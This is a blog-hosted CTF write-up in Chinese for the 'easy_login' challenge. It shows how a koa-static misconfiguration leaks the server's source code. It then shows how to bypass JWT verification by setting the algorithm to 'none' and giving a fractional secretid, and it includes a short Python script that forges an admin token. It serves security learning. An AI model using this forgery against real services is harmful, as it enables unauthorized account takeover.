• CTFHub_2020数字中国创新大赛虎符网络安全赛道Webeasy_login(源码泄露、JWTNone攻击)


    场景描述:最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错的一定是我的依赖库!!

    进入场景,显示是一个登录框

    注册账号,登录,发现get flag按钮,点击提示permission denied,无权限,那么此题的方向应该是伪造成一个高权限账户。

    截取登录包,发现可疑authorization校验字段

    解码显示为jwt

    通过查看源码,发现/static/js/app.js 页面存在提示

    /**
     *  或许该用 koa-static 来处理静态文件
     *  路径该怎么配置?不管了先填个根目录XD
     */

    koa-static 错误配置的源码泄露

    说明 app.js 是直接静态映射到程序根目录的,直接访问根目录的该文件可直接看到源码

    继续分析根目录的app.js,发现代码引用了两个当前目录的文件

    const rest = require('./rest');
    const controller = require('./controller');

    说明存在rest.js和controller.js文件

    访问rest.js发现同样一个路径前缀 api

    const pathPrefix = '/api/';

    访问controller.js看到下面的代码

    遍历在controllers文件夹下的以.js结尾的文件,并且引入文件添加在router中,推断controllers文件夹下存在一个api.js文件

    function addControllers(router, dir) {
        fs.readdirSync(__dirname + '/' + dir).filter(f => {
            return f.endsWith('.js');
        }).forEach(f => {
            const mapping = require(__dirname + '/' + dir + '/' + f);
            addMapping(router, mapping);
        });
    }
    
    module.exports = (dir) => {
        const controllers_dir = dir || 'controllers';
        const router = require('koa-router')();
        addControllers(router, controllers_dir);
        return router.routes();
    };

    访问/controllers/api.js,前端几个能看到的功能接口逻辑都在了,分析登录和注册接口

    注册:
    
    const secret = crypto.randomBytes(18).toString('hex');
    
    const secretid = global.secrets.length;
    
    global.secrets.push(secret)
    
    const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    
    
    登录:
    
    const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    
    const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    
    console.log(sid)
    
    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {     
        throw new APIError('login error', 'no such secret id');
    }
    
    const secret = global.secrets[sid];
    
    const user = jwt.verify(token, secret, {algorithm: 'HS256'});

    1、确认用户身份的技术用的是jwt (Json WEB Token)

    在注册时候生成一个token 由下面三部分组成const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});登陆时再以相同的方式生成token对比。

    JWT 存在几种攻击手段,这个题利用的是 将加密方式改为’none’ 的那种

    签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

    2、secretid值校验

    要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。

    JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过

    python有处理jwt的模块,根据上面分析,secretid 赋值小数,algorithm赋值none,key值是一个函数必需字段给空值就行,生成token就是authorization值的内容
    python 安装jwt pip install pyjwt

    import jwt
    token = jwt.encode({"secretid":0.1,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
    print(token)

    把生成的值替换authorization的值就通过验证了

    登入之后点击get flag,权限足够,获得flag。

    参考:https://www.jianshu.com/p/0f76e1c69e33

  • 相关阅读:
    如何规范自己的编程以及软件开发目录(二)
    关于README的内容
    关于编程编程规范以及开发目录的规范性
    第五章:条件、循环以及其他语句(上)
    第四章 当索引行不通时
    python-zipfile模块
    python-shutil模块
    python-sys模块
    python-os模块
    python-threading.Thread(多线程)
  • 原文地址:https://www.cnblogs.com/zhengna/p/15923538.html
Copyright © 2020-2023  润新知